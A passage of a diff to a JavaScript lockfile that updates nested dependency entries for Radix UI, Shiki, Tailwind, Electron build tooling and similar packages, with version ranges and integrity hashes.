"@radix-ui/react-dismissable-layer/@radix-ui/react-primitive": ["@radix-ui/react-primitive@2.1.3", "", { "dependencies": { "@radix-ui/react-slot": "1.2.3" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-m9gTwRkhy2lvCPe6QJp4d3G1TYEUHn/FzJUtq9MjH46an1wJU+GdoGC5VLof8RX8Ft/DlpshApkhswDLZzHIcQ=="], + "@radix-ui/react-dismissable-layer/@radix-ui/react-use-callback-ref": ["@radix-ui/react-use-callback-ref@1.1.1", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-FkBMwD+qbGQeMu1cOHnuGB6x4yzPjho8ap5WtbEJ26umhgqVXbhekKUQO+hZEL1vU92a3wHwdp0HAcqAUF5iDg=="], + "@radix-ui/react-focus-scope/@radix-ui/react-primitive": ["@radix-ui/react-primitive@2.1.3", "", { "dependencies": { "@radix-ui/react-slot": "1.2.3" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-m9gTwRkhy2lvCPe6QJp4d3G1TYEUHn/FzJUtq9MjH46an1wJU+GdoGC5VLof8RX8Ft/DlpshApkhswDLZzHIcQ=="], + "@radix-ui/react-focus-scope/@radix-ui/react-use-callback-ref": ["@radix-ui/react-use-callback-ref@1.1.1", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-FkBMwD+qbGQeMu1cOHnuGB6x4yzPjho8ap5WtbEJ26umhgqVXbhekKUQO+hZEL1vU92a3wHwdp0HAcqAUF5iDg=="], + + "@radix-ui/react-id/@radix-ui/react-use-layout-effect": ["@radix-ui/react-use-layout-effect@1.1.1", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-RbJRS4UWQFkzHTTwVymMTUv8EqYhOp8dOOviLj2ugtTiXRaRQS7GLGxZTLL1jWhMeoSCf5zmcZkqTl9IiYfXcQ=="], + "@radix-ui/react-portal/@radix-ui/react-primitive": ["@radix-ui/react-primitive@2.1.3", "", { "dependencies": { "@radix-ui/react-slot": "1.2.3" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-m9gTwRkhy2lvCPe6QJp4d3G1TYEUHn/FzJUtq9MjH46an1wJU+GdoGC5VLof8RX8Ft/DlpshApkhswDLZzHIcQ=="], + "@radix-ui/react-portal/@radix-ui/react-use-layout-effect": ["@radix-ui/react-use-layout-effect@1.1.1", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-RbJRS4UWQFkzHTTwVymMTUv8EqYhOp8dOOviLj2ugtTiXRaRQS7GLGxZTLL1jWhMeoSCf5zmcZkqTl9IiYfXcQ=="], + + "@radix-ui/react-presence/@radix-ui/react-use-layout-effect": ["@radix-ui/react-use-layout-effect@1.1.1", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-RbJRS4UWQFkzHTTwVymMTUv8EqYhOp8dOOviLj2ugtTiXRaRQS7GLGxZTLL1jWhMeoSCf5zmcZkqTl9IiYfXcQ=="], + + "@radix-ui/react-slider/@radix-ui/primitive": ["@radix-ui/primitive@1.1.3", "", {}, "sha512-JTF99U/6XIjCBo0wqkU5sK10glYe27MRRsfwoiq5zzOEZLHU3A3KCMa5X/azekYRCJ0HlwI0crAXS/5dEHTzDg=="], + "@radix-ui/react-slider/@radix-ui/react-context": ["@radix-ui/react-context@1.1.2", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-jCi/QKUM2r1Ju5a3J64TH2A5SpKAgh0LpknyqdQ4m6DCV0xJ2HG1xARRwNGPQfi1SLdLWZ1OJz6F4OMBBNiGJA=="], "@radix-ui/react-slider/@radix-ui/react-primitive": ["@radix-ui/react-primitive@2.1.3", "", { "dependencies": { "@radix-ui/react-slot": "1.2.3" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-m9gTwRkhy2lvCPe6QJp4d3G1TYEUHn/FzJUtq9MjH46an1wJU+GdoGC5VLof8RX8Ft/DlpshApkhswDLZzHIcQ=="], - "@slack/logger/@types/node": ["@types/node@24.12.0", "", { "dependencies": { "undici-types": "~7.16.0" } }, "sha512-GYDxsZi3ChgmckRT9HPU0WEhKLP08ev/Yfcq2AstjrDASOYCSXeyjDsHg4v5t4jOj7cyDX3vmprafKlWIG9MXQ=="], + "@radix-ui/react-slider/@radix-ui/react-use-layout-effect": ["@radix-ui/react-use-layout-effect@1.1.1", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-RbJRS4UWQFkzHTTwVymMTUv8EqYhOp8dOOviLj2ugtTiXRaRQS7GLGxZTLL1jWhMeoSCf5zmcZkqTl9IiYfXcQ=="], - "@slack/web-api/@types/node": ["@types/node@24.12.0", "", { "dependencies": { "undici-types": "~7.16.0" } }, "sha512-GYDxsZi3ChgmckRT9HPU0WEhKLP08ev/Yfcq2AstjrDASOYCSXeyjDsHg4v5t4jOj7cyDX3vmprafKlWIG9MXQ=="], + "@radix-ui/react-use-controllable-state/@radix-ui/react-use-layout-effect": ["@radix-ui/react-use-layout-effect@1.1.1", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-RbJRS4UWQFkzHTTwVymMTUv8EqYhOp8dOOviLj2ugtTiXRaRQS7GLGxZTLL1jWhMeoSCf5zmcZkqTl9IiYfXcQ=="], - "@tailwindcss/oxide-wasm32-wasi/@emnapi/core": ["@emnapi/core@1.8.1", "", { "dependencies": { "@emnapi/wasi-threads": "1.1.0", "tslib": "^2.4.0" }, "bundled": true }, "sha512-AvT9QFpxK0Zd8J0jopedNm+w/2fIzvtPKPjqyw9jwvBaReTTqPBk9Hixaz7KbjimP+QNz605/XnjFcDAL2pqBg=="], + "@radix-ui/react-use-effect-event/@radix-ui/react-use-layout-effect": ["@radix-ui/react-use-layout-effect@1.1.1", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-RbJRS4UWQFkzHTTwVymMTUv8EqYhOp8dOOviLj2ugtTiXRaRQS7GLGxZTLL1jWhMeoSCf5zmcZkqTl9IiYfXcQ=="], - "@tailwindcss/oxide-wasm32-wasi/@emnapi/runtime": ["@emnapi/runtime@1.8.1", "", { "dependencies": { "tslib": "^2.4.0" }, "bundled": true }, "sha512-mehfKSMWjjNol8659Z8KxEMrdSJDDot5SXMq00dM8BN4o+CLNXQ0xH2V7EchNHV4RmbZLmmPdEaXZc5H2FXmDg=="], + "@radix-ui/react-use-escape-keydown/@radix-ui/react-use-callback-ref": ["@radix-ui/react-use-callback-ref@1.1.1", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-FkBMwD+qbGQeMu1cOHnuGB6x4yzPjho8ap5WtbEJ26umhgqVXbhekKUQO+hZEL1vU92a3wHwdp0HAcqAUF5iDg=="], - "@tailwindcss/oxide-wasm32-wasi/@emnapi/wasi-threads": ["@emnapi/wasi-threads@1.1.0", "", { "dependencies": { "tslib": "^2.4.0" }, "bundled": true }, "sha512-WI0DdZ8xFSbgMjR1sFsKABJ/C5OnRrjT06JXbZKexJGrDuPTzZdDYfFlsgcCXCyf+suG5QU2e/y1Wo2V/OapLQ=="], + "@radix-ui/react-use-size/@radix-ui/react-use-layout-effect": ["@radix-ui/react-use-layout-effect@1.1.1", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-RbJRS4UWQFkzHTTwVymMTUv8EqYhOp8dOOviLj2ugtTiXRaRQS7GLGxZTLL1jWhMeoSCf5zmcZkqTl9IiYfXcQ=="], - "@tailwindcss/oxide-wasm32-wasi/@napi-rs/wasm-runtime": ["@napi-rs/wasm-runtime@1.1.1", "", { "dependencies": { "@emnapi/core": "^1.7.1", "@emnapi/runtime": "^1.7.1", "@tybys/wasm-util": "^0.10.1" }, "bundled": true }, "sha512-p64ah1M1ld8xjWv3qbvFwHiFVWrq1yFvV4f7w+mzaqiR4IlSgkqhcRdHwsGgomwzBH51sRY4NEowLxnaBjcW/A=="], + "@shikijs/core/@types/hast": ["@types/hast@3.0.5", "", { "dependencies": { "@types/unist": "*" } }, "sha512-rp/ezSWaD1m44dPKICGhiskI13nVr7qTloFwDa/IYkhhf5nzwP+zIQcIJh3WIFSBOy/H1PzB40jPjMDksN4F+g=="], - "@tailwindcss/oxide-wasm32-wasi/@tybys/wasm-util": ["@tybys/wasm-util@0.10.1", "", { "dependencies": { "tslib": "^2.4.0" }, "bundled": true }, "sha512-9tTaPJLSiejZKx+Bmog4uSubteqTvFrVrURwkmHixBo0G4seD0zUxp98E1DzUBJxLQ3NPwXrGKDiVjwx/DpPsg=="], + "@shikijs/primitive/@types/hast": ["@types/hast@3.0.5", "", { "dependencies": { "@types/unist": "*" } }, "sha512-rp/ezSWaD1m44dPKICGhiskI13nVr7qTloFwDa/IYkhhf5nzwP+zIQcIJh3WIFSBOy/H1PzB40jPjMDksN4F+g=="], - "@tailwindcss/oxide-wasm32-wasi/tslib": ["tslib@2.8.1", "", { "bundled": true }, "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w=="], + "@shikijs/transformers/@shikijs/core": ["@shikijs/core@3.23.0", "", { "dependencies": { "@shikijs/types": "3.23.0", "@shikijs/vscode-textmate": "^10.0.2", "@types/hast": "^3.0.4", "hast-util-to-html": "^9.0.5" } }, "sha512-NSWQz0riNb67xthdm5br6lAkvpDJRTgB36fxlo37ZzM2yq0PQFFzbd8psqC2XMPgCzo1fW6cVi18+ArJ44wqgA=="], + + "@shikijs/transformers/@shikijs/types": ["@shikijs/types@3.23.0", "", { "dependencies": { "@shikijs/vscode-textmate": "^10.0.2", "@types/hast": "^3.0.4" } }, "sha512-3JZ5HXOZfYjsYSk0yPwBrkupyYSLpAE26Qc0HLghhZNGTZg/SKxXIIgoxOpmmeQP0RRSDJTk1/vPfw9tbw+jSQ=="], + + "@shikijs/types/@types/hast": ["@types/hast@3.0.5", "", { "dependencies": { "@types/unist": "*" } }, "sha512-rp/ezSWaD1m44dPKICGhiskI13nVr7qTloFwDa/IYkhhf5nzwP+zIQcIJh3WIFSBOy/H1PzB40jPjMDksN4F+g=="], + + "@tailwindcss/oxide-wasm32-wasi/@emnapi/core": ["@emnapi/core@1.11.3", "", { "dependencies": { "@emnapi/wasi-threads": "1.2.3", "tslib": "^2.4.0" }, "bundled": true }, "sha512-zLpS5asjEb7lq8jYLq37N6XKaE41DIexlY1rF/z4/tIl3wo13Sqm28fRyfIsKZD+NZ8mM5RoKkpW/rBcuoSZSg=="], + + "@tailwindcss/oxide-wasm32-wasi/@emnapi/runtime": ["@emnapi/runtime@1.11.3", "", { "dependencies": { "tslib": "^2.4.0" }, "bundled": true }, "sha512-Xz4Tpyki7XyrpbUK1jR1AhdAdaXyhhY4lZ3neLodmhpuWfy2PAQN5B46sAiU4liOXGLkHypn/qU+jvfWSCYYLA=="], - "@types/better-sqlite3/@types/node": ["@types/node@24.12.0", "", { "dependencies": { "undici-types": "~7.16.0" } }, "sha512-GYDxsZi3ChgmckRT9HPU0WEhKLP08ev/Yfcq2AstjrDASOYCSXeyjDsHg4v5t4jOj7cyDX3vmprafKlWIG9MXQ=="], + "@tailwindcss/oxide-wasm32-wasi/@emnapi/wasi-threads": ["@emnapi/wasi-threads@1.2.3", "", { "dependencies": { "tslib": "^2.4.0" }, "bundled": true }, "sha512-ELEBe8PsLvvJ6QMr0zLt8ffvOHW/dc1m3CEzNMg7aJUv3bMaoDtw2TXyDAwkYBuroxxuHEwhRTLJSe5sya547g=="], + + "@tailwindcss/oxide-wasm32-wasi/@napi-rs/wasm-runtime": ["@napi-rs/wasm-runtime@1.2.5", "", { "dependencies": { "@tybys/wasm-util": "^0.10.3" }, "peerDependencies": { "@emnapi/core": "^1.7.1 || ^2.0.0-alpha.4", "@emnapi/runtime": "^1.7.1 || ^2.0.0-alpha.4" }, "bundled": true }, "sha512-HshSvXzmBxNzqejd3k/KemgQ3hdREUYFRRrgxOZ+gPljDIsO2SDZrVZMd4Z/HsxudQbE62OVyVFE8z9BCurfjA=="], + + "@tailwindcss/oxide-wasm32-wasi/@tybys/wasm-util": ["@tybys/wasm-util@0.10.4", "", { "dependencies": { "tslib": "^2.4.0" }, "bundled": true }, "sha512-W3c4gRigFS0T/Ma4qIYF3GDAc5AQdHb1yL5znJT1Zv1YaD9Kitx656wBjvr19qbiosmZT8lWDM5BEMynUqX65A=="], + + "@tailwindcss/oxide-wasm32-wasi/tslib": ["tslib@2.8.1", "", { "bundled": true }, "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w=="], "@types/cacheable-request/@types/node": ["@types/node@24.12.0", "", { "dependencies": { "undici-types": "~7.16.0" } }, "sha512-GYDxsZi3ChgmckRT9HPU0WEhKLP08ev/Yfcq2AstjrDASOYCSXeyjDsHg4v5t4jOj7cyDX3vmprafKlWIG9MXQ=="], @@ -2551,69 +2429,97 @@ "@types/keyv/@types/node": ["@types/node@24.12.0", "", { "dependencies": { "undici-types": "~7.16.0" } }, "sha512-GYDxsZi3ChgmckRT9HPU0WEhKLP08ev/Yfcq2AstjrDASOYCSXeyjDsHg4v5t4jOj7cyDX3vmprafKlWIG9MXQ=="], - "@types/pg/@types/node": ["@types/node@24.12.0", "", { "dependencies": { "undici-types": "~7.16.0" } }, "sha512-GYDxsZi3ChgmckRT9HPU0WEhKLP08ev/Yfcq2AstjrDASOYCSXeyjDsHg4v5t4jOj7cyDX3vmprafKlWIG9MXQ=="], - "@types/plist/@types/node": ["@types/node@24.12.0", "", { "dependencies": { "undici-types": "~7.16.0" } }, "sha512-GYDxsZi3ChgmckRT9HPU0WEhKLP08ev/Yfcq2AstjrDASOYCSXeyjDsHg4v5t4jOj7cyDX3vmprafKlWIG9MXQ=="], "@types/plist/xmlbuilder": ["xmlbuilder@15.1.1", "", {}, "sha512-yMqGBqtXyeN1e3TGYvgNgDVZ3j84W4cwkOXQswghol6APgZWaff9lnbvN7MHYJOiXsvGPXtjTYJEiC9J2wv9Eg=="], "@types/responselike/@types/node": ["@types/node@24.12.0", "", { "dependencies": { "undici-types": "~7.16.0" } }, "sha512-GYDxsZi3ChgmckRT9HPU0WEhKLP08ev/Yfcq2AstjrDASOYCSXeyjDsHg4v5t4jOj7cyDX3vmprafKlWIG9MXQ=="], - "@types/yauzl/@types/node": ["@types/node@24.12.0", "", { "dependencies": { "undici-types": "~7.16.0" } }, "sha512-GYDxsZi3ChgmckRT9HPU0WEhKLP08ev/Yfcq2AstjrDASOYCSXeyjDsHg4v5t4jOj7cyDX3vmprafKlWIG9MXQ=="], - - "ai/@ai-sdk/provider-utils": ["@ai-sdk/provider-utils@4.0.19", "", { "dependencies": { "@ai-sdk/provider": "3.0.8", "@standard-schema/spec": "^1.1.0", "eventsource-parser": "^3.0.6" }, "peerDependencies": { "zod": "^3.25.76 || ^4.1.8" } }, "sha512-3eG55CrSWCu2SXlqq2QCsFjo3+E7+Gmg7i/oRVoSZzIodTuDSfLb3MRje67xE9RFea73Zao7Lm4mADIfUETKGg=="], - "ajv-keywords/ajv": ["ajv@6.14.0", "", { "dependencies": { "fast-deep-equal": "^3.1.1", "fast-json-stable-stringify": "^2.0.0", "json-schema-traverse": "^0.4.1", "uri-js": "^4.2.2" } }, "sha512-IWrosm/yrn43eiKqkfkHis7QioDleaXQHdDVPKg0FSwwd/DuvyX79TZnFOnYpB7dcsFAMmtFztZuXPDvSePkFw=="], "app-builder-lib/@electron/get": ["@electron/get@3.1.0", "", { "dependencies": { "debug": "^4.1.1", "env-paths": "^2.2.0", "fs-extra": "^8.1.0", "got": "^11.8.5", "progress": "^2.0.3", "semver": "^6.2.0", "sumchecker": "^3.0.1" }, "optionalDependencies": { "global-agent": "^3.0.0" } }, "sha512-F+nKc0xW+kVbBRhFzaMgPy3KwmuNTYX1fx6+FxxoSnNgwYX6LD7AKBTWkU0MQ6IBoe7dz069CNkR673sPAgkCQ=="], + "app-builder-lib/@noble/hashes": ["@noble/hashes@1.8.0", "", {}, "sha512-jCs9ldd7NwzpgXDIf6P3+NrHh9/sD6CQdxHyjQI+h/6rDNo88ypBxxz45UDuZHz9r3tNz7N/VInSVoVdtXEI4A=="], + "app-builder-lib/ci-info": ["ci-info@4.3.1", "", {}, "sha512-Wdy2Igu8OcBpI2pZePZ5oWjPC38tmDVx5WKUXKwlLYkA0ozo85sLsLvkBbBn/sZaSCMFOGZJ14fvW9t5/d7kdA=="], - "app-builder-lib/minimatch": ["minimatch@10.2.4", "", { "dependencies": { "brace-expansion": "^5.0.2" } }, "sha512-oRjTw/97aTBN0RHbYCdtF1MQfvusSIBQM0IZEgzl6426+8jSC0nF1a/GmnVLpfB9yyr6g6FTqWqiZVbxrtaCIg=="], + "app-builder-lib/semver": ["semver@7.7.4", "", { "bin": { "semver": "bin/semver.js" } }, "sha512-vFKC2IEtQnVhpT78h1Yp8wzwrf8CM+MzKMHGJZfBtzhZNycRFnXsHk6E5TxIkkMsgNS7mdX3AGB7x2QM2di4lA=="], + + "app-builder-lib/which": ["which@5.0.0", "", { "dependencies": { "isexe": "^3.1.1" }, "bin": { "node-which": "bin/which.js" } }, "sha512-JEdGzHwwkrbWoGOlIHqQ5gtprKGOenpDHpxE9zVR1bWbOtYRyPPHMe9FaP6x61CmNaTThSkb0DAJte5jD+DmzQ=="], + + "axios/https-proxy-agent": ["https-proxy-agent@5.0.1", "", { "dependencies": { "agent-base": "6", "debug": "4" } }, "sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA=="], "bl/readable-stream": ["readable-stream@3.6.2", "", { "dependencies": { "inherits": "^2.0.3", "string_decoder": "^1.1.1", "util-deprecate": "^1.0.1" } }, "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA=="], + "body-parser/content-type": ["content-type@2.1.0", "", {}, "sha512-mj7UPXE0jaqaOsukNZRUEfEi2AcL7C/vwmwcHV0O97eO1E1pxBZuyjlZrx5seTaNBg1U6+o35wpa35Qfcc+7ag=="], + + "body-parser/qs": ["qs@6.16.0", "", { "dependencies": { "es-define-property": "^1.0.1", "side-channel": "^1.1.1" } }, "sha512-h6fhOIaRrID2CbEY2fqs+7t+UXZo+MLAnU5gRIq85uFtdiUPCdsApMlHhXogKVM4HM2DVbIjGNTTYH2OcmP1vA=="], + + "builder-util/chalk": ["chalk@4.1.2", "", { "dependencies": { "ansi-styles": "^4.1.0", "supports-color": "^7.1.0" } }, "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA=="], + "cacache/glob": ["glob@10.5.0", "", { "dependencies": { "foreground-child": "^3.1.0", "jackspeak": "^3.1.2", "minimatch": "^9.0.4", "minipass": "^7.1.2", "package-json-from-dist": "^1.0.0", "path-scurry": "^1.11.1" }, "bin": { "glob": "dist/esm/bin.mjs" } }, "sha512-DfXN8DfhJ7NH3Oe7cFmu3NCu1wKbkReJ8TorzSAFbSKrlNaQSKfIzqYqVY8zlbs2NLBbWpRiU52GX2PbaBVNkg=="], "cacache/lru-cache": ["lru-cache@10.4.3", "", {}, "sha512-JNAzZcXrCt42VGLuYz0zfAzDfAvJWW6AfYlDBQyDV5DClI2m5sAmK+OIO7s59XfsRsWHp02jAJrRadPRGTt6SQ=="], - "chalk/supports-color": ["supports-color@7.2.0", "", { "dependencies": { "has-flag": "^4.0.0" } }, "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw=="], - - "cli-truncate/string-width": ["string-width@8.2.0", "", { "dependencies": { "get-east-asian-width": "^1.5.0", "strip-ansi": "^7.1.2" } }, "sha512-6hJPQ8N0V0P3SNmP6h2J99RLuzrWz2gvT7VnK5tKvrNqJoyS9W4/Fb8mo31UiPvy00z7DQXkP2hnKBVav76thw=="], + "cli-truncate/string-width": ["string-width@4.2.3", "", { "dependencies": { "emoji-regex": "^8.0.0", "is-fullwidth-code-point": "^3.0.0", "strip-ansi": "^6.0.1" } }, "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g=="], - "cliui/wrap-ansi": ["wrap-ansi@7.0.0", "", { "dependencies": { "ansi-styles": "^4.0.0", "string-width": "^4.1.0", "strip-ansi": "^6.0.0" } }, "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q=="], + "cliui/string-width": ["string-width@7.2.0", "", { "dependencies": { "emoji-regex": "^10.3.0", "get-east-asian-width": "^1.0.0", "strip-ansi": "^7.1.0" } }, "sha512-tsaTIkKW9b4N+AEj+SVA+WhJzV7/zMhcSu78mLKWSk7cXMOSHsBKFWUs0fWwq8QyK3MgJBQRX6Gbi4kYbdvGkQ=="], "clone-response/mimic-response": ["mimic-response@1.0.1", "", {}, "sha512-j5EctnkH7amfV/q5Hgmoal1g2QHFJRraOtmx0JpIqkxhBhI/lJSl1nMpQ45hVarwNETOoWEimndZ4QK0RHxuxQ=="], "concat-stream/readable-stream": ["readable-stream@3.6.2", "", { "dependencies": { "inherits": "^2.0.3", "string_decoder": "^1.1.1", "util-deprecate": "^1.0.1" } }, "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA=="], + "concurrently/yargs": ["yargs@18.0.0", "", { "dependencies": { "cliui": "^9.0.1", "escalade": "^3.1.1", "get-caller-file": "^2.0.5", "string-width": "^7.2.0", "y18n": "^5.0.5", "yargs-parser": "^22.0.0" } }, "sha512-4UEqdc2RYGHZc7Doyqkrqiln3p9X2DZVxaGbwhn2pi7MrRagKaOcIKe8L3OxYcbhXLgLFUS3zAYuQjKBQgmuNg=="], + + "cosmiconfig-typescript-loader/jiti": ["jiti@2.6.1", "", { "bin": { "jiti": "lib/jiti-cli.mjs" } }, "sha512-ekilCSN1jwRvIbgeg/57YFh8qQDNbwDb9xT/qu2DAHbFFZUicIl4ygVaAvzveMhMVr3LnpSKTNnwt8PoOfmKhQ=="], + "cross-spawn/which": ["which@2.0.2", "", { "dependencies": { "isexe": "^2.0.0" }, "bin": { "node-which": "./bin/node-which" } }, "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA=="], "dir-compare/minimatch": ["minimatch@3.1.5", "", { "dependencies": { "brace-expansion": "^1.1.7" } }, "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w=="], - "dmg-builder/iconv-lite": ["iconv-lite@0.6.3", "", { "dependencies": { "safer-buffer": ">= 2.1.2 < 3.0.0" } }, "sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw=="], - "dmg-license/ajv": ["ajv@6.14.0", "", { "dependencies": { "fast-deep-equal": "^3.1.1", "fast-json-stable-stringify": "^2.0.0", "json-schema-traverse": "^0.4.1", "uri-js": "^4.2.2" } }, "sha512-IWrosm/yrn43eiKqkfkHis7QioDleaXQHdDVPKg0FSwwd/DuvyX79TZnFOnYpB7dcsFAMmtFztZuXPDvSePkFw=="], - "electron/@types/node": ["@types/node@24.12.0", "", { "dependencies": { "undici-types": "~7.16.0" } }, "sha512-GYDxsZi3ChgmckRT9HPU0WEhKLP08ev/Yfcq2AstjrDASOYCSXeyjDsHg4v5t4jOj7cyDX3vmprafKlWIG9MXQ=="], + "electron-builder/chalk": ["chalk@4.1.2", "", { "dependencies": { "ansi-styles": "^4.1.0", "supports-color": "^7.1.0" } }, "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA=="], + + "electron-builder/yargs": ["yargs@17.7.2", "", { "dependencies": { "cliui": "^8.0.1", "escalade": "^3.1.1", "get-caller-file": "^2.0.5", "require-directory": "^2.1.1", "string-width": "^4.2.3", "y18n": "^5.0.5", "yargs-parser": "^21.1.1" } }, "sha512-7dSzzRQ++CKnNI/krKnYRV7JKKPUXMEh61soaHKg9mrWEhzFWhFnxPxGl+69cD1Ou63C13NUPCnmIcrvqCuM6w=="], + + "electron-builder-squirrel-windows/app-builder-lib": ["app-builder-lib@26.8.1", "", { "dependencies": { "@develar/schema-utils": "~2.6.5", "@electron/asar": "3.4.1", "@electron/fuses": "^1.8.0", "@electron/get": "^3.0.0", "@electron/notarize": "2.5.0", "@electron/osx-sign": "1.3.3", "@electron/rebuild": "^4.0.3", "@electron/universal": "2.0.3", "@malept/flatpak-bundler": "^0.4.0", "@types/fs-extra": "9.0.13", "async-exit-hook": "^2.0.1", "builder-util": "26.8.1", "builder-util-runtime": "9.5.1", "chromium-pickle-js": "^0.2.0", "ci-info": "4.3.1", "debug": "^4.3.4", "dotenv": "^16.4.5", "dotenv-expand": "^11.0.6", "ejs": "^3.1.8", "electron-publish": "26.8.1", "fs-extra": "^10.1.0", "hosted-git-info": "^4.1.0", "isbinaryfile": "^5.0.0", "jiti": "^2.4.2", "js-yaml": "^4.1.0", "json5": "^2.2.3", "lazy-val": "^1.0.5", "minimatch": "^10.0.3", "plist": "3.1.0", "proper-lockfile": "^4.1.2", "resedit": "^1.7.0", "semver": "~7.7.3", "tar": "^7.5.7", "temp-file": "^3.4.0", "tiny-async-pool": "1.3.0", "which": "^5.0.0" }, "peerDependencies": { "dmg-builder": "26.8.1", "electron-builder-squirrel-windows": "26.8.1" } }, "sha512-p0Im/Dx5C4tmz8QEE1Yn4MkuPC8PrnlRneMhWJj7BBXQfNTJUshM/bp3lusdEsDbvvfJZpXWnYesgSLvwtM2Zw=="], + + "electron-builder-squirrel-windows/builder-util": ["builder-util@26.8.1", "", { "dependencies": { "7zip-bin": "~5.2.0", "@types/debug": "^4.1.6", "app-builder-bin": "5.0.0-alpha.12", "builder-util-runtime": "9.5.1", "chalk": "^4.1.2", "cross-spawn": "^7.0.6", "debug": "^4.3.4", "fs-extra": "^10.1.0", "http-proxy-agent": "^7.0.0", "https-proxy-agent": "^7.0.0", "js-yaml": "^4.1.0", "sanitize-filename": "^1.6.3", "source-map-support": "^0.5.19", "stat-mode": "^1.0.0", "temp-file": "^3.4.0", "tiny-async-pool": "1.3.0" } }, "sha512-pm1lTYbGyc90DHgCDO7eo8Rl4EqKLciayNbZqGziqnH9jrlKe8ZANGdityLZU+pJh16dfzjAx2xQq9McuIPEtw=="], + + "electron-publish/chalk": ["chalk@4.1.2", "", { "dependencies": { "ansi-styles": "^4.1.0", "supports-color": "^7.1.0" } }, "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA=="], + + "electron-updater/semver": ["semver@7.7.4", "", { "bin": { "semver": "bin/semver.js" } }, 